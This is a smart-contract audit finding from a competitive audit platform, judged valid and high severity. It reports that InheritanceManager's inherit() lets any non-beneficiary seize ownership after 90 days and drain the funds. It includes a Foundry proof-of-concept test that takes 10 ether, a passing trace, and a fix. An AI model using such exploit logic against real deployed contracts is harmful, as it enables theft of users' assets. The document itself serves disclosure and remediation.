Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Inheritance Takeover in InheritanceManager Contract can lead to theft of all contract assets.

Summary

The inherit() function in InheritanceManager allows any address to claim ownership of the contract after 90 days of inactivity, even if they are not registered beneficiaries, leading to potential theft of all contract assets.

Vulnerability Details

The vulnerability exists in the inherit() function where there's no validation to ensure the caller is a registered beneficiary.

Affected code:

https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L212C3-L229C6

Attack Path:

  • Initial State: Contract has funds and one registered beneficiary

  • Step 1: Attacker waits for 90 days of owner inactivity

  • Step 2: Attacker calls inherit() despite not being a beneficiary

  • Step 3: Attacker becomes the new owner and can call sendETH()/sendERC20()

  • Outcome: Attacker drains all contract assets


POC : POC test demonstrating the vulnerability:

function test_inheritVulnerabilityByNonBeneficiary() public {
address attacker = makeAddr("attacker");
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.deal(address(im), 10 ether);
vm.stopPrank();
vm.warp(block.timestamp + 91 days);
vm.startPrank(attacker);
im.inherit();
im.sendETH(10 ether, attacker);
vm.stopPrank();
assertEq(im.getOwner(), attacker);
assertEq(address(im).balance, 0);
assertEq(attacker.balance, 10 ether);
}

POC Test Outcome :

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_inheritVulnerabilityByNonBeneficiary() (gas: 127823)
Traces:
[127823] InheritanceManagerTest::test_inheritVulnerabilityByNonBeneficiary()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7862401 [7.862e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [3672] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [35478] InheritanceManager::sendETH(10000000000000000000 [1e19], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [0] attacker::fallback{value: 10000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [419] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::assertEq(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.07ms (9.29ms CPU time)

Impact

  • Complete loss of contract funds (ETH, ERC20 tokens, NFTs)

  • Circumvention of intended inheritance mechanism

  • Theft of NFTs and other assets

  • Loss of trust in the inheritance system

Tools Used

Manual review and Foundry

Recommendations

Add beneficiary validation before ownership transfer:

+ error NotBeneficiary();
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
+ // Validate caller is a beneficiary
+ bool isBeneficiary;
+ for (uint256 i = 0; i < beneficiaries.length; i++) {
+ if (beneficiaries[i] == msg.sender) {
+ isBeneficiary = true;
+ break;
+ }
+ }
+ if (!isBeneficiary) revert NotBeneficiary();
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.